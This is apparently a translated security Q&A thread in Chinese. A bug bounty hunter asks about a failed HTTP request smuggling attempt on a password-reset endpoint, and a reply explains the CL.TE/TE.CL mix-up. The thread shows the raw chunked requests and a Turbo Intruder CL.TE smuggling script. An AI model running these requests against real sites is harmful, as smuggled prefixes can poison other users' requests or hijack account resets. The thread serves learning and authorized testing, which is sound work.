我是个虫子赏金猎人,对此我还不太熟悉。几天前,我读到了关于请求走私漏洞的文章。就在那之后,我开始在网上找到它。昨天,我发现了一个网站,当我将X-Forwarded-Host: google.com添加到标头时,它会将我重定向到https://www.google.com。很难利用这一点,所以我考虑把它和请求走私结合起来。我选择更改密码请求作为目标:
POST /my-rx/forgot-password HTTP/1.1
Host: www.example.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://www.example.com/
Content-Type: application/x-www-form-urlencoded
Content-Length: 112
Connection: close
Cookie: <my_cookie>
Upgrade-Insecure-Requests: 1
email=mymail%40gmail.com&submit=Reset+My+Password&csrf_token=cb5a82b3df1e45c7b95d25edb46cfbf3我把它转换成块:
POST /my-rx/forgot-password HTTP/1.1
Host: www.example.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://www.example.com/
Content-Type: application/x-www-form-urlencoded
Content-Length: 112
Connection: close
Cookie: <my_cookie>
Upgrade-Insecure-Requests: 1
Transfer-Encoding: chunked
6b
email=mymail%40gmail.com&submit=Reset+My+Password&csrf_token=cb5a82b3df1e45c7b95d25edb46cfbf3
0但是当我发送它时,它给了我503 client read error代码。看上去不接受块状的。但是,我仍然想继续,所以我下载了HTTP请求走私者和Turbo入侵者扩展在Burp套件上。然后我就走私攻击(CL.TE)。它给出了走私攻击python代码:
# if you edit this file, ensure you keep the line endings as CRLF or you'll have a bad time
def queueRequests(target, wordlists):
# to use Burp's HTTP stack for upstream proxy rules etc, use engine=Engine.BURP
engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=5,
requestsPerConnection=1,
resumeSSL=False,
timeout=10,
pipeline=False,
maxRetriesPerRequest=0,
engine=Engine.THREADED,
)
# This will prefix the victim's request. Edit it to achieve the desired effect.
prefix = '''GET /hopefully404 HTTP/1.1
X-Ignore: X'''
# The request engine will auto-fix the content-length for us
attack = target.req + prefix
engine.queue(attack)
victim = target.req
for i in range(14):
engine.queue(victim)
time.sleep(0.05)
def handleResponse(req, interesting):
table.add(req)然后我使用Turbo入侵者运行它。我很惊讶,它发送了14个请求,但只有12个请求是503,剩下两个请求是200。特别是,在200响应头中,它有...transfer-encoding: chunked...。我尝试过几次,结果也是一样的:1到2个请求是200。但是这里有些奇怪的地方,在代码中,它是...prefix = '''GET /hopefully404 HTTP/1.1 X-Ignore: X'''...。经过几次测试后,我认为这不是请求走私漏洞,因为响应显示它是原始请求的响应,而不是代码中的prefix (我也试图更改prefix,它仍然是200,而不是400,404,.如我所料)。
那么,有谁(一定是一个非常专业的黑客)知道我面临什么漏洞吗?谢谢!
发布于 2020-06-25 07:49:30
首先,您的第一次转换是在TE;CL中进行的,但是在使用burp扩展之后,您发现了它的CL;TE,所以问题可能就在这里。对于您的回答,您有点困惑,我建议您解决portswigger http请求走私实验室,因为我已经完成了最近,您的基础将变得相当强大!
https://stackoverflow.com/questions/60207832
复制相似问题